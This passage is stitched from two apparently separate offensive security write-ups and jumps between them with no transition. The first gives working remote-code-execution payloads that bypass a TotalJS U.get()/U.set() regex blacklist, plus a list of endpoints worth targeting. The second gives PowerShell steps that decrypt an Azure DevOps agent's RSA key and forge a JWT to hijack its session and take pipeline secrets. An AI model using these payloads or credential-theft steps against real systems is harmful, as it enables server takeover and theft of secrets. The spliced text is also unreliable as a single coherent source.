│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  fn = eval('(function...'  │   │
│                                    │    + builder + '...)')     │   │
│                                    │  [internal.js:1138]        │   │
│                                    │                            │   │
│                                    │ => PAYLOAD IN EVAL         │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│   ┌──────────┐    HTTP Response    ┌────────────────────────────┐   │
│   │ Command  │ <-----------------  │  RCE during compilation    │   │
│   │ Executed │                     │  Command output in page    │   │
│   └──────────┘                     └────────────────────────────┘   │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

U.set()/U.get() BlackList Bypass

Description: The U.set() and U.get() utility functions dynamically create property accessors using new Function(). This was a known RCE vulnerability reported by Snyk and “fixed” with a regex blacklist. I have successfully bypassed this blacklist using JavaScript hex escapes and tagged template literals.

SNYK VULNERABILITY BYPASS

This vulnerability was originally discovered and reported by Snyk (https://snyk.io/vuln). TotalJS attempted to fix it by adding a regex blacklist.

TotalJS Changelog reference:

- fixed potential remote code execution in `U.set()` founded by Snyk

Location: utils.js:7225-7272

The Blacklist

// utils.js:7231, 7259
if ((/__proto__|constructor|prototype|eval|function|\*|\+|;|\s|\(|\)|!/).test(path))
return;  // Attempts to block dangerous input

The Bypass Technique

The blacklist tests the raw string before it’s processed. JavaScript hex escapes (\xNN) pass the regex test as literal backslash characters, but when the string is used in new Function(), they are interpreted as the actual characters.

Tagged Template Literals

To complete our bypass we will use tagged template literals. JavaScript tagged template syntax Function`code``` creates and immediately invokes a function without using parentheses. Combined with hex escapes, this provides a complete bypass.

RCE Payloads (via `.toString())

Running id:

['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27id\x27\x29[\x27toString\x27]\x28\x29```

Read /etc/passwd:

['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27fs\x27\x29[\x27readFileSync\x27]\x28\x27/root/proof\x2etxt\x27\x29[\x27toString\x27]\x28\x29```

Base64 encoded payloads (for complex commands)

Use base64 when your command contains special characters that need escaping…for example a simple . is a special char in the framework context (hex or base64?… bs64 is safer due to a view layers of payload parsing thus your hex encoded payload might be decoded at unwated stage during processing)

Template, just replace BASE64_HERE with your payload

['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27echo\x20BASE64_HERE|base64\x20\x2dd|sh\x27\x29[\x27toString\x27]\x28\x29```

Example - Run id via base64:

# Encode: echo -n 'id' | base64 = aWQ=
['x']||Function`return\x20process[\x27mainModule\x27][\x27require\x27]\x28\x27child_process\x27\x29[\x27execSync\x27]\x28\x27echo\x20aWQ=|base64\x20\x2dd|sh\x27\x29[\x27toString\x27]\x28\x29```

Side Question: Why Direct require Fails? Inside new Function(), there’s no require in scope. We must access it via:

• global.process.mainModule.require()
• Or global['process']['mainModule']['require']() with bracket notation

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  GET     │ ─────────────────>  │ GET /api/config/?path=     │   │
│   │  with    │                     │   ['x']||Function`...`     │   │
│   │  payload │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│        │                                        ▼                   │
│        │ ['x']||Function`          ┌────────────────────────────┐   │
│        │   return\x20global        │  Controller extracts path  │   │
│        │   [\x27process\x27]...    │  from query parameter      │   │
│        │ ```                       └────────────────────────────┘   │
│                                                 │                   │
│                                                 ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  U.get(config, path)       │   │
│                                    │  [utils.js:7225]           │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Blacklist check:          │   │
│                                    │  /proto|constructor|...    │   │
│                                    │    |\(|\)|!/.test(path)    │   │
│                                    │                            │   │
│                                    │  × BYPASSED - hex escapes  │   │
│                                    │    \x28\x29 pass as literal│   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('w','a','b', │   │
│                                    │    code_with_hex_escapes)  │   │
│                                    │                            │   │
│                                    │  Hex \x28 → ( in Function! │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Function`...```           │   │
│                                    │  Tagged template executes  │   │
│                                    │                            │   │
│                                    │  global['process']         │   │
│                                    │  ['mainModule']['require'] │   │
│                                    │  ('child_process')         │   │
│                                    │  ['execSync']('id')        │   │
│                                    │                            │   │
│                                    │ => COMMAND EXECUTION       │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│   ┌──────────┐    HTTP Response                  ▼                  │
│   │ Command  │ <------------------ {"value":"uid=0(root)..."}       │
│   │ Output   │                                                      │
│   └──────────┘                                                      │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Misc

As mentioned earlier this gadget is one of my favorite ones thus here are a few more insides

Common U.get/U.set Exposure Paths

### Configuration/Settings Endpoints
/api/config/
/api/settings/
/api/preferences/
/admin/config/
/system/settings/
Parameters: path, key, field, property, name

### User Preferences
/api/user/settings/
/api/profile/preferences/
/account/settings/
Parameters: setting, preference, option

### Form Builders / Dynamic Fields
/api/form/field/
/api/schema/get/
/api/model/
Parameters: field, path, attribute

### Dashboard Widgets / UI State
/api/dashboard/widget/
/api/ui/state/
/api/layout/
Parameters: widget, component, path

### CMS / Content Management
/api/cms/content/
/api/page/meta/
/admin/content/
Parameters: path, key, meta

### OpenPlatform / Flow Admin
/api/flow/config/
/admin/flow/settings/
/_flowstream/

Detection Payloads Example detection payloads: GET /api/config/?path=PAYLOAD

[] => should result in error 500
['']
['x']|1
['x']&1
['x']/1
['x']||1337
['x']||[]
['x']||{}
['x']||''
['x']||null

Agent Communication Architecture

Before we move on to some exploitation, we need to have at least some common understanding of how the whole flow works between Azure Pipelines and Azure Self-Hosted Agents.

Agent Registration

When an Azure DevOps agent is configured, it establishes trust with the Azure DevOps server through the following artifacts stored in the agent directory (by default on Windows: C:\azagent\A*, where * is the number of the agent installed locally — 1, 2, 3…):

Usually, the agent’s folder is set with read permissions for all users by default, which makes the whole attack possible, as we can read the .credentials_rsaparams file.

Session Establishment & Messaging

Once the registration is successful, the agent will create a session in order to start polling for new messages. The communication follows this sequence to establish a session with the Azure DevOps server:

1. JWT Authentication: Agent signs a JWT using its RSA private key
2. Token Exchange: JWT is exchanged for a Bearer token via OAuth endpoint
3. Session Creation: Agent creates a session, sending its RSA public key
4. Key Exchange: Server returns a session-specific AES key, encrypted with the agent’s RSA public key
5. Message Polling: Agent polls for messages using the session ID
6. Message Encryption: All job messages are AES-encrypted using the session key (where a message is encrypted version of the pipeline including variables, secrets, tokens)

┌─────────┐                             ┌──────────────────┐
│  Agent  │                             │  Azure DevOps    │
└────┬────┘                             └────────┬─────────┘
     │                                           │
     │──── JWT (signed with RSA private key) ───>│
     │<─────────── Bearer Token ─────────────────│
     │                                           │
     │──── Create Session (RSA public key) ─────>│
     │<─── Session ID + Encrypted AES Key ───────│
     │                                           │
     │──── Poll Messages (Session ID) ──────────>│
     │<─── AES-Encrypted Job Message ────────────│

Exploitation Flow

Prerequisites

Access to the agent directory with read permissions. By default, the agent installation directory may be readable by all local users.

Attack Chain Summary

┌─────────────────────────────────────────────────────────────────┐
│ 1. Read agent directory (default permissions allow this)        │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 2. Decrypt RSA key from .credentials_rsaparams                  │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 3. Sign JWT with RSA key → Exchange for Bearer token            │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 4. Hijack agent session (delete + recreate with our public key) │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 5. Receive encrypted job message when pipeline runs             │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 6. Decrypt message with session AES key                         │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 7. Extract OAuth token from decrypted job payload               │
└─────────────────────────┬───────────────────────────────────────┘
                          ▼
┌─────────────────────────────────────────────────────────────────┐
│ 8. Access Azure DevOps APIs (repos, pipelines, secrets)         │
└─────────────────────────────────────────────────────────────────┘

The exploitation chain starts with collecting some agent config data, which will be required at a later stage to create our own session and send requests to APIs accordingly:

Read the .agent file to obtain agent metadata:

$agentPath = "C:\azagent\A1\"
$agentConfig = Get-Content (Join-Path $agentPath ".agent") | ConvertFrom-Json

$poolId = $agentConfig.poolId
$agentId = $agentConfig.agentId
$agentName = $agentConfig.agentName
$serverUrl = $agentConfig.serverUrl

Read the .credentials file for authentication parameters like the OAuth URL and clientId (GUID):

$credentials = Get-Content (Join-Path $agentPath ".credentials") | ConvertFrom-Json
$clientId = $credentials.data.clientId
$authUrl = $credentials.data.authorizationUrl
$tokenUrl = ($authUrl -split "/_apis")[0] + "/_apis/oauth2/token"

Gathering the locally installed agent version, Windows version, etc. — but I’ll skip those. The next major step is to reconstruct the RSA key so we can forge our own JWT. The .credentials_rsaparams file is encrypted with DPAPI (CurrentUser scope), thus decryption is possible:

Add-Type -AssemblyName System.Security
$encryptedBytes = [System.IO.File]::ReadAllBytes((Join-Path $agentPath ".credentials_rsaparams"))
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $encryptedBytes,
    $null,
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$rsaKey = [Text.Encoding]::UTF8.GetString($decrypted) | ConvertFrom-Json

The decrypted JSON contains RSA key components:

• modulus, exponent (public key)
• d, p, q, dp, dq, inverseQ (private key)

Having the RSA components decrypted, we can use them to recreate the RSA key.

$rsaParams = New-Object System.Security.Cryptography.RSAParameters
$rsaParams.Modulus = [Convert]::FromBase64String($rsaKey.modulus)
$rsaParams.Exponent = [Convert]::FromBase64String($rsaKey.exponent)
$rsaParams.D = [Convert]::FromBase64String($rsaKey.d)
$rsaParams.P = [Convert]::FromBase64String($rsaKey.p)
$rsaParams.Q = [Convert]::FromBase64String($rsaKey.q)
$rsaParams.DP = [Convert]::FromBase64String($rsaKey.dp)
$rsaParams.DQ = [Convert]::FromBase64String($rsaKey.dq)
$rsaParams.InverseQ = [Convert]::FromBase64String($rsaKey.inverseQ)

$rsa = [System.Security.Cryptography.RSA]::Create()
$rsa.ImportParameters($rsaParams)

Now we have the key ready. The next step is to construct a JWT and sign it accordingly:

$header = '{"alg":"RS256","typ":"JWT"}'
$headerBase64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($header)).TrimEnd('=').Replace('+','-').Replace('/','_')

$now = [int][double]::Parse((Get-Date -UFormat %s)) - 3600

$payload = @{
    sub = $clientId
    iss = $clientId
    aud = $tokenUrl
    nbf = $now
    iat = $now
    exp = $now + 300
    jti = [guid]::NewGuid().ToString()
} | ConvertTo-Json -Compress

$payloadBase64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($payload)).TrimEnd('=').Replace('+','-').Replace('/','_')

$dataToSign = [Text.Encoding]::UTF8.GetBytes("$headerBase64.$payloadBase64")
$sig = $rsa.SignData($dataToSign, [Security.Cryptography.HashAlgorithmName]::SHA256, [Security.Cryptography.RSASignaturePadding]::Pkcs1)
$sigBase64 = [Convert]::ToBase64String($sig).TrimEnd('=').Replace('+','-').Replace('/','_')

$jwt = "$headerBase64.$payloadBase64.$sigBase64"